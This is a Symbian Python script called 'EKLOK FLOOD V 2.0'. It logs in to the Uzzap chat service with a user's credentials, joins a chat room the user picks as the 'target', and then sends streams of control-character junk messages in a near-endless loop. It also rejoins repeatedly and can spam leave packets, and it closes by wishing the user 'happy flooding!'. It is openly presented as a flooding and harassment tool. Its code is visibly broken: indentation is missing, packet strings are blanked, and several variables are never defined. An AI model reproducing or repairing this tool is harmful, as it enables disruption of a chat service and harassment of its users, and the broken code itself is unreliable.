# Arvana Software
# Padang Community
import appuifw
import e32
import base64
import random
import time
import socket
import globalui
appuifw.app.screen = 'normal'
round = appuifw.Text()
appuifw.app.body = round
appuifw.app.title = u'EKLOK FLOOD V 2.0'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def _bodytext_():
appuifw.note(u'master eklok', 'conf')
round.color = 10027008
round.font = (u'LatinBold19', 15, None)
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'\n\n PRESS OPTION TO START!!')
join = ''
chat = "'
jxmlmsg1 = ''
jxmlmsg2 = ""
jxmlmsg4 = ''
jmsg1 = '[d00 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg2 = '[a39 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg3 = '[1ab @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg4 = '[b07 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg5 = '[c89 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg6 = '[850 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg7 = '[988 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg8 = '[559 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg9 = '[505 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg10 = '[080 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg11 = '[009 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg12 = '[d00 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg13 = '[889 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
jmsg14 = '[040 @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@\x7f@>|.|.'
def uconnect():
uid, upass = appuifw.multi_query(u'UZZAP USER ID', u'UZZAP PASSWORD')
encrypt = (base64.encodestring(('\x00%s\x00%s' % (uid, upass)))[0 : -1]).decode('utf-8')
loginxml = ''
spacket2 = (loginxml + encrypt + '')
spacket1 = ''
spacket3 = ''
spacket4 = 'Kolipri'
round.font = (u'LatinBold19', 15, None)
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'\n\n CHECKING NETWORK!!')
server = 'connect.uzzap.com'
port = 5222
s.connect((server, port))
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'\n\n CONNECTING!!')
s.send(spacket1)
rpacket4 = s.recv(1024)
print rpacket4,
s.send(spacket2)
rpacket4a = s.recv(1024)
print rpacket4a,
e32.ao_sleep(1)
ivp = ''
if str.endswith(str(rpacket4a), str(ivp)) :
round.set(u'EKLOK FLOOD V 2.0')
appuifw.note(u'INCORRECT PASSWORD!!', 'error')
e32.ao_sleep(0.8)
round.add(u'THE PASSWORD YOU ENTERED IS INCORRECT!!')
else :
s.send(spacket3)
rpacket4 = s.recv(1024)
print rpacket4,
s.send(spacket4)
rpacket4 = s.recv(1024)
print rpacket4,
e32.ao_sleep(1)
inxml1 = ''
pmxml3 = ''
aut = (pmxml1 + pmxml2 + uid + xcc + upass + pmxml3)
s.send(aut)
round.set(u'EKLOK FLOOD V 2.0 AUTHENTICATING!!')
e32.ao_sleep(1)
round.set(u'EKLOK FLOOD V 2.0 INITIALIZING!!')
e32.ao_sleep(1)
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'\n\n PRESS OPTION TO START!!')
appuifw.app.menu = menu2
def ujoin():
rnn, rn = appuifw.multi_query(u'NICKNAME <8chars only>', u'TARGET ROOM')
rn1 = "'"
rnn1 = "'"
crs = ''
crs1 = '\x7f'
crs2 = ''
jpost1 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg1 + jxmlmsg4)
jpost2 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg2 + jxmlmsg4)
jpost3 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg3 + jxmlmsg4)
jpost4 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg4 + jxmlmsg4)
jpost5 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg5 + jxmlmsg4)
jpost6 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg6 + jxmlmsg4)
jpost7 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg7 + jxmlmsg4)
jpost8 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg8 + jxmlmsg4)
jpost14 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg9 + jxmlmsg4)
jpost9 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg10 + jxmlmsg4)
jpost10 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg11 + jxmlmsg4)
jpost11 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg12 + jxmlmsg4)
jpost12 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg13 + jxmlmsg4)
jpost13 = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + jmsg14 + jxmlmsg4)
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'\n\nREADY TARGET ROOM\n')
round.add(rn)
def fflood():
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'JOIN TO ROOM ')
round.add(rn)
joining()
def joining():
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'JOINING ROOM ')
round.add(rn)
joinroom = ((join + chat + rn + rn1 + nick + rnn + crs + crs1 + crs2) + str(random.randint(10, 99)) + rnn1 + role)
s.send(joinroom)
ful = ""
ban = ""
e32.ao_sleep(3)
abc1 = s.recv(1054)
if str.endswith(str(abc1), str(ban)) :
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'YOUR ID IS ALREADY BANNED!!')
e32.ao_sleep(1)
else :
joininga()
def joininga():
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'JOINING ROOM ')
round.add(rn)
joinroom = ((join + chat + rn + rn1 + nick + rnn + crs + crs1 + crs2) + str(random.randint(10, 99)) + rnn1 + role)
s.send(joinroom)
ful = ""
e32.ao_sleep(1)
abc = s.recv(1054)
if str.endswith(str(abc), str(ful)) :
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'THE ROOM IS FULL!!')
e32.ao_sleep(1)
joininga()
else :
round.set(u'EKLOK FLOOD V 2.0')
round.add(u'thans for using eklok flood happy flooding!')
flooda()
def flooda():
i = 0
while i < 10000000000 :
joinroom = ((join + chat + rn + rn1 + nick + rnn + crs + crs1 + crs2) + str(random.randint(10, 99)) + rnn1 + role)
joinrooma = ((join + chat + rn + rn1 + nick + rnn + crs + crs1 + crs2) + str(random.randint(10, 99)) + rnn1 + role)
lroom = (xmleave1 + xmleave2 + rn + xmleave4)
e32.ao_sleep(5)
s.send(jpost1)
e32.ao_sleep(5)
s.send(jpost2)
e32.ao_sleep(5)
s.send(jpost3)
e32.ao_sleep(5)
s.send(jpost4)
e32.ao_sleep(5)
s.send(jpost5)
e32.ao_sleep(5)
s.send(jpost6)
e32.ao_sleep(5)
s.send(jpost7)
s.send(lroom)
s.send(joinrooma)
e32.ao_sleep(5)
s.send(jpost8)
e32.ao_sleep(5)
s.send(jpost9)
e32.ao_sleep(5)
s.send(jpost10)
e32.ao_sleep(5)
s.send(jpost11)
e32.ao_sleep(5)
s.send(jpost12)
e32.ao_sleep(5)
s.send(jpost13)
e32.ao_sleep(5)
s.send(jpost14)
s.send(lroom)
s.send(joinroom)
i += 1
def sflood():
round.set(u'EKLOK FLOOD V 2.0')
lroom = (xmleave1 + xmleave2 + rn + xmleave4)
round.add(u'master eklok')
round.add(rn)
i = 1
while i < 10000 :
e32.ao_sleep(5)
s.send(lroom)
i += 1
appuifw.app.menu = menu3
menu3 = [(u'Start Flood', fflood), (u'Leave Room', sflood), (u'Set New Target Room', ujoin), (u'Exit', quit)]
appuifw.app.menu = menu3
def about():
globalui.global_msg_query(u'eklok FLOOD v2.0\nCREATED By: master eklok\nDEDICATED To: UZZAPERS ', u'About application')
def quit():
exitapp = appuifw.query(u'Exit application?', 'query')
if exitapp == 1 :
globalui.global_note(u'Crossover FLOOD v1.0')
appuifw.app.set_exit()
menu1 = [(u'Login', uconnect), (u'About', about), (u'Exit', quit)]
menu2 = [(u'Set Target Room', ujoin), (u'About', about), (u'Exit', quit)]
appuifw.app.menu = menu1
_bodytext_()
appuifw.app.exit_key_handler = quit
app_lock = e32.Ao_lock()
app_lock.wait()